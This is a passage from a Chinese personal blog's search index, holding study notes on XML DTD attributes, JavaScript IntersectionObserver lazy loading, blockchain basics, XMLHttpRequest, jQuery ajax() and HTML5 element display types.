逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组\nDTD除了给定义元素外，也可以为元素定义属性\n属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现\n属性类型\nCDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如\u0026lt;），那么需要使用其转义字符序列来表示，例如 \u0026ldquo;\u0026lt;\u0026ldquo;来表示\u0026rdquo;\u0026lt;\u0026rdquo;\nEnumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：\nID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED\nIDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：\n1 2\n说明ID为01和02的元素之间，存在关联\nIDREFS就是引用多个ID类型的属性值，例如：\n1\n属性说明\nREQUIRED // 表示这个元素的这个属性是必须的\nIMPLIED // 表示这个元素可以包含这个属性，也可以不包含\nFIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值\n默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值","title":"XML学习笔记"},{"content":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u0026gt;{ // 实例化 target.forEach((item) =\u0026gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: \u0026quot;100px\u0026quot; // 提前100px }); const imgs = document.querySelectorAll(\u0026quot;img[alt]\u0026quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =\u0026gt; { lazyload.observe(item) // 开始观测 }); ","permalink":"https://chenjunlinabc.github.io/posts/16/","summary":"IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果\n该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法\nvar observe = new IntersectionObserver(callback, options)\n例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象\n使用该构造函数生成的实例中有3个观察器实例，分别是observe（开始监测），unobserve（停止监测），disconnect（关闭监测），其中observe的参数是dom对象\n当监测目标对象的可视性发生改变时调用callback参数中的回调函数\noptions参数：主要是设置观测的对象和观测值，该参数中有三个键值对\nroot指的是观测对象的根元素，默认是浏览器视口，值要么是根元素，要么就是观测对象的父元素\nrootMargin指的是用于扩大或者缩小视口的大小\nthreshold指的是交叉的比例，主要决定什么时候触发回调函数，是数组，默认值为0\ncallback参数中的回调函数一般会被调用两次，一次是当监测对象可视性满足了threshold指定的值，还有一次就是监测对象不满足threshold指定的值\nIntersectionObserverEntry对象\n该对象提供了监测对象的信息，有七个属性\nboundingClientRect：返回目标的矩形信息\nintersectionRatio：返回相交时和目标的比例值，不可视时小于等于0\nintersectionRect：返回目标和视口相交的矩形信息\nisIntersecting：返回目标当前是否可视，可视为true（返回值为布尔值）\nrootBounds：返回根元素的矩形信息，没有指定根元素则返回当前视口的矩形信息\ntarget：返回观测的目标对象，是dom对象\ntime：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒\n如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点\n例如：\nconst lazyload = new IntersectionObserver((target)=\u0026gt;{ // 实例化 target.forEach((item) =\u0026gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: \u0026quot;100px\u0026quot; // 提前100px }); const imgs = document.querySelectorAll(\u0026quot;img[alt]\u0026quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =\u0026gt; { lazyload.observe(item) // 开始观测 }); ","title":"JavaScript-IntersectionObserver构造函数笔记"},{"content":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(\u0026lsquo;交易信息的哈希值\u0026rsquo;,\u0026lsquo;私钥\u0026rsquo;)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;)，获得的值为交易的哈希值\nif(verify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;) == hash(\u0026rsquo;{交易信息}\u0026rsquo;))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息\n而在区块链中，完美解决这个问题，进行区块链广播需要进行POW工作量证明，而且限制一段时间内只允许一个账号能广播，降低了虚假信息传播的量和成本，而且进行广播需要进行不可伪造的签名（私钥和公钥），每隔一段时间，信息就进行更新，节点进行验证，根本不让虚假信息的传播发送成功得逞，不可逆的哈希算法加密加上信息传递速度的限制，把区块链打造成了一个无需信任的数据信息交互平台\n假如：将军a发送进攻消息给将军b，为了防止信息泄露，使用非对称加密算法将消息进行加密，因为将军b的公钥是公开的，也就可以使用将军b的公钥进行信息加密，而将军b只能使用他的私钥进行解密，因为使用公钥加密的信息，可以通过私钥进行解密，主要是保护信息是完整的，但是依然可以传递虚假的信息给将军b（因为公钥是公开的，谁都可以进行公钥加密），因此，为了证明是将军a发的，还需要在信息上加签名，也就是将私钥加密成一个签名，然后将军b得到这个签名，需要将这个签名和将军a的公钥来验证，来确定发送这个消息的人的身份\n","permalink":"https://chenjunlinabc.github.io/posts/15/","summary":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(\u0026lsquo;交易信息的哈希值\u0026rsquo;,\u0026lsquo;私钥\u0026rsquo;)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;)，获得的值为交易的哈希值\nif(verify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;) == hash(\u0026rsquo;{交易信息}\u0026rsquo;))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息","title":"简单理解区块链的基本原理"},{"content":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 \u0026amp;\u0026amp; xmlhttp.status == 200){ document.getElementById(\u0026quot;app\u0026quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(\u0026quot;GET\u0026quot;,\u0026quot;https://httpbin.org/get\u0026quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）\nopen()方法\n该方法有3个常用参数，请求方式，请求url，是否异步执行（如果为false，那么JavaScript会等到服务器响应完毕时才会继续执行）\nxmlhttp.open(\u0026ldquo;GET\u0026rdquo;,\u0026ldquo;https://httpbin.org/get\u0026quot;,true)\n","permalink":"https://chenjunlinabc.github.io/posts/14/","summary":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 \u0026amp;\u0026amp; xmlhttp.status == 200){ document.getElementById(\u0026quot;app\u0026quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(\u0026quot;GET\u0026quot;,\u0026quot;https://httpbin.org/get\u0026quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）","title":"JavaScript-XMLHttpRequest对象笔记"},{"content":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){ $(\u0026quot;button\u0026quot;).click(function(){ $.ajax({ type: \u0026quot;GET\u0026quot;, url: \u0026quot;https://httpbin.org/get\u0026quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数\n","permalink":"https://chenjunlinabc.github.io/posts/13/","summary":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){ $(\u0026quot;button\u0026quot;).click(function(){ $.ajax({ type: \u0026quot;GET\u0026quot;, url: \u0026quot;https://httpbin.org/get\u0026quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数","title":"jQuery-ajax()方法笔记"},{"content":"HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入\nHTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML\n而HTML5是一个标准，指的是第五代HTML标准\nHTML5主要的新特性：\n语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性\nHTML的块级与行级\n块级元素的特征：\n独占一行，不和其他元素待在同一行上，能设置宽和高\n默认宽度是该元素的容器的100%，不过可以设置宽度\n常用的块级元素有div，ul，li，dl，dt，h1-h6\n行级元素的特征：\n可以和其他元素待在同一行上，不能设置宽和高\n它的宽度就是它的文字或者图片的宽度\n常用的行级元素有a，span\n行内块级元素的特征：\n可以设置宽和高，可以一行多个\n常见的行内块级元素有input，img\n转换元素为块级或者行内\ndisplay：block //定义元素为块级元素\ndisplay: inline //定义元素为行内元素\ndisplay：inline-block 